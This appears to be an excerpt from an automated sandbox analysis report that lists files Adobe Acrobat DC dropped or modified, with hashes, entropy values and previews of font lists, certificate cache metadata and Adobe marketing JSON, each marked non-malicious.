SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklHcvgN/ltfllXlE/HT8ktuzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKD4NteT8kuJdNMa8RdWBwRd
MD5:	23F225F3A9EB197ACA3E488CF6256AFB
SHA1:	FD8854423165335848895B400E3B3E2C5F14BB88
SHA-256:	BA08D6BBD88CB32EAEA0E63446C68F230FDB651751BA3CDDACBCF0A3E627A4C7
SHA-512:	2943E0EF03DC94888B44977371480ACC4B1E56414EF9692805ED252DA66B6C9A6BD9AFB5B46116485E4783800C8A45CCECE869783F605A419C104CC9D11A4057
Malicious:	false
Preview:	p...... .........9.M.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKRKEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3tiDImsLNkPlE99SNxAhUe/3
MD5:	35173F8AC378C341482EC8FB8BA97BB2
SHA1:	33177C716F6EC6E8F34012DC504ADD8AEC0F607E
SHA-256:	06E8A401AAE3987780F105FFF38A6CF39036D1081DD089B9B5C5CC6B3413635C
SHA-512:	12CAA3F498A98209AA4C3C3AB325737FEC8DBCB7CD2059612537DA310FE88BACEB8DA0872EEE8CC4DE04BFA90C42530287B32196214A561C154CACC0836F068E
Malicious:	false
Preview:	p...... ...........q.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3156978285204355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJM3g98kUwPeUkwRe9:YvXKXUtvR/ZwHAXGMbLUkee9
MD5:	29E99F1F45B0AEE5CC74043D7D2411A4
SHA1:	70A61577B48D95708D396CDFFAA646E0E733318C
SHA-256:	2605808572F4E61272C291544385BADA070FAB0C0AC9CE3E893E0F7966B04CFB
SHA-512:	0B1BB1E2269B48A10433BF910C9243E7E98B8FDC18E07C1A135D08BA2B3C0B08D3155DAC45AE099F9C345D00ABB5F1CED321D7056921C797C236B14A266B9E3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.248939136649541
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfBoTfXpnrPeUkwRe9:YvXKXUtvR/ZwHAXGWTfXcUkee9
MD5:	BDDE7E52600FC6C81CFEBC6ADC6ABD96
SHA1:	5EC32287C28F1F6868E0E6E56491C6EB572DF73C
SHA-256:	53FDF97520A4ACF06667FDBFADC25495DD948F9F99069590E42C4748CA4F91A4
SHA-512:	DDBF5D75DC0752CA4B4406205B3BCF2C593DF96DB92056C47F4BF5A8FA87BD80EADCD7D5348A69AEB5AEA121A886760FD878A4F96410A0E84CA8207DBFD00FCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.229659201210701
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfBD2G6UpnrPeUkwRe9:YvXKXUtvR/ZwHAXGR22cUkee9
MD5:	22BAA954DA091EDFC83A55CD8FCEC6B0
SHA1:	039A05A8B19EE0F66EABAA94D2DE28F6FB1441B2
SHA-256:	6B50F8A19B15C2C564497C9C1343FC897499E390332EC4EE97823C5EC65B9CC7
SHA-512:	01D394B97722874B1A470E9DD122FA470650F6CBCBBA95625D564E1A8D7C8E04B80E49D26E1A53E32E8F4362D8740906B23876FFB40D1A51B3A549C36837F8A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.290973899353563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfPmwrPeUkwRe9:YvXKXUtvR/ZwHAXGH56Ukee9
MD5:	5918F68B2658E2AE462DEA77EB157250
SHA1:	439992BB88247DE752B005DDDA0180417E0B3B6D
SHA-256:	C82F0CDF2A6ABFF375DE5280DA4C8C59CCF3597F9E3669884A4E0F8695D3DFB5
SHA-512:	0D4511376C73EC0CD9ECD442C6ABF7378E94745E46BDA024A814491E97D6C1242DB2178D7DEC13AF5DDE839AD85448F7C8CDFA0EE0FE44157964F2C58031E900
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690098345832842
Encrypted:	false
SSDEEP:	24:Yv6XUtJhwpLgE9cQx8LennAvzBvkn0RCmK8czOCCSlj:YvxJhwhgy6SAFv5Ah8cv/J
MD5:	FB8E7EE78629B422F5BB8ED793890E4E
SHA1:	33D861D1C005445308F271269BDBEFBEAF32BA41
SHA-256:	56AA27DD362AF626F402AE5DE2AF46CCF508AFFA7109983B9C1C446D6064EF7B
SHA-512:	5E4D1D21562C8C5A0EB95BD0D2F0CA3620D3039BB2BD9030E07C065DD6F5CCD1750E54170A10D3DA3659A828B9AB01970DA59F1464FE803817EA1E8DD684DA76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.240145721637862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJf8dPeUkwRe9:YvXKXUtvR/ZwHAXGU8Ukee9
MD5:	17EAA73C6301EB01F3099D5F557E804C
SHA1:	19ECF70B7F3BD0388C0B1DDE51D9EB8584D4CCE0
SHA-256:	C2E42221F167D6E50BBC7FF7DB878716AFA157727A4489ED6A7EDA7CE4EA99E0
SHA-512:	4705C209D5A761EFE1C2FE81B81C5B2F0413496F1BF3A6119B893B7BAA8EBC3E41FD3091251E1DB2BD5DA6043C085F3A8AE0FDCD6C15B32D6D64EB6280F73C35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.237268262844836
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfQ1rPeUkwRe9:YvXKXUtvR/ZwHAXGY16Ukee9
MD5:	3FFCB04FBD1A437E518A21040D098C81
SHA1:	3281F873B32631B10D3CE1DAB1C6773D65F1560F
SHA-256:	BD6589A6EC1DC79CE87AAB394E991D8184835B73B20BEFC1357DE6678E4E1936
SHA-512:	634F0D670902DC558264437CF0722C0BF7FB2220FF753E94CD84C3963973063FE672D40B8341B0560A8B6BAB9D009B98C01CF4EDF794A22A22AB90CC34BE2A97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25582395611965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfFldPeUkwRe9:YvXKXUtvR/ZwHAXGz8Ukee9
MD5:	D9DCA5A8E46D85FF66C0BE5E7149564C
SHA1:	BD3E9391667B8DB20462A61700A02FB1DFE85E3A
SHA-256:	ACEF3848ECC290F391EED91485BC08B3F918FEB5A57B92D9C2669C183182CD8D
SHA-512:	8C02048E0DD5E95D45A645C4BAD4CC87F0FEF1EC0DC035F3B17176D5CF469F94047E36649C5E2E4BAC4475F0BEA719D33591CACCAFC460F3A74879186105B451
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.267712753669433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfzdPeUkwRe9:YvXKXUtvR/ZwHAXGb8Ukee9
MD5:	79FBEC85722A5F2F10A785AE9C8EF320
SHA1:	D8FFE012FDA28219164EFC68FB892F4B3E970170
SHA-256:	24AA91C697CE0B2E8C93E7DB3AA4396E3505387354DA6DA356D97D1022A5E20D
SHA-512:	64B02460BE40235E658452EEB1022E3071F53E26FF319456A7CCCFE2B9E4C90C230DDCFB5B5850EF467F4FCF36C8F2F84088CB635CE11F5789DB17664548C109
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2466781370579
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJfYdPeUkwRe9:YvXKXUtvR/ZwHAXGg8Ukee9
MD5:	598F6121B5526AF685984DB356EC419D
SHA1:	D3A93746B636A6C2573B63A518FF76F12EAA91DE
SHA-256:	210C4A3A3BD06C2C9E0711E77CA9780092224CADC16F409B407F77F3153339FF
SHA-512:	07CF1221530D51D3FE2C2EF91961C4A4628F2C83C36E3B83F1595FFEA59DD6A11EB5243CDB00AD16076E0E9CF665268476AD89188EB23C72094D65916C66D10C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.233365663976987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXTC+TvB3/dVlPIHAR0YheoAvJf+dPeUkwRe9:YvXKXUtvR/ZwHAXG28Ukee9
MD5:	EF30925B6CF318DA283D022565B142BB
SHA1:	051C3B88208166BF18C60952CB0D5DAFA9517EF9
SHA-256:	1E20AC54D45A9D96E6AE98CCC9B621C974C4905D9554AFA6CCD3A0B074A318EB
SHA-512:	F0FB5DB49EA90B1516ADAC4006C0AD5D3D1656E3FDD1CFDDB10714B8902D95504DFC9D3DC0264761B76E8927799EC0D4D73175E181416C6BFCD0CFE2D8575833
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e1e73210-8e02-454e-84be-e844eb258733","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723770352,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

